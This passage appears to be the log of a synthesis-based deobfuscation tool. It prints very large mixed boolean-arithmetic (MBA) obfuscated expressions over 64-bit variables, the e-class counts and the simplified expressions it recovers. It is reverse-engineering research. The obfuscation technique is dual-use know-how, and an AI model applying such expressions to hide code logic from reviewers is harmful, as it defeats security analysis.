+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))
====================================================================================================
eclasses #: 232
Synthesized (cost = 11): ((x-(x&y))^(x*(x+x)))
====================================================================================================
Polynomial MBA (permutation, 1st degree) with two 64 bits variables (EA+ED#303)
python3 synth.py
A = 0xab158ca407e708b
B = 0x3bbdd4b3bfa258d
C = 0x67bc0713a30e52ba
D = 0x9e3de1dbaff27723
E = 0x3399e33c88a2571
F = 0x67bc0713a30e52b9
G = 0x6f57b7f04844afe
H = 0x3c7bc3b75fe4ee46
I = 0x3087f1d8b9e35a8d
L = 0x61c21e24500d88dd
M = 0x765a595710882758
N = 0x9843f8ec5cf1ad47
O = 0xf54ea735bf818f75
P = 0xfcc661cc3775da8f
Q = 0x89a5a6a8ef77d8a8
R = 0xe6d36157c789618
S = 0xf90a8480fb7bb502
T = 0x777ba9677f44b1a
U = 0xfc4422b4c405da73
V = 0xc239a39abcf709b1
Z = 0x85e9c95db37db31b
X = 0xffffffffffffffff
eclasses #: 251
Input (cost = 625667): ((-((((((((((((((((((((((x*A)+B)+A)+((((-C)-(-(((x*A)+B)*-D)))|((-(((-E)-((y*A)+B))*-D))...truncated
====================================================================================================
eclasses #: 334
Synthesized (cost = 3517): (((((((((((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*((((((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*((((x*A)+B)+O)-((((~y)-(x*y))|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*N))-(((((x*A)+B)+O)-((((~y)-(x*y))|x)*A))*N))+Q)+((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*(((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*N))-((((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A)))*D)-(((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))-(((((((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*((((x*A)+B)+O)-((((~y)-(x*y))|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*N))-(((((x*A)+B)+O)-((((~y)-(x*y))|x)*A))*N))+Q)+((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*(((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*N))-((((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A))*N))+Q)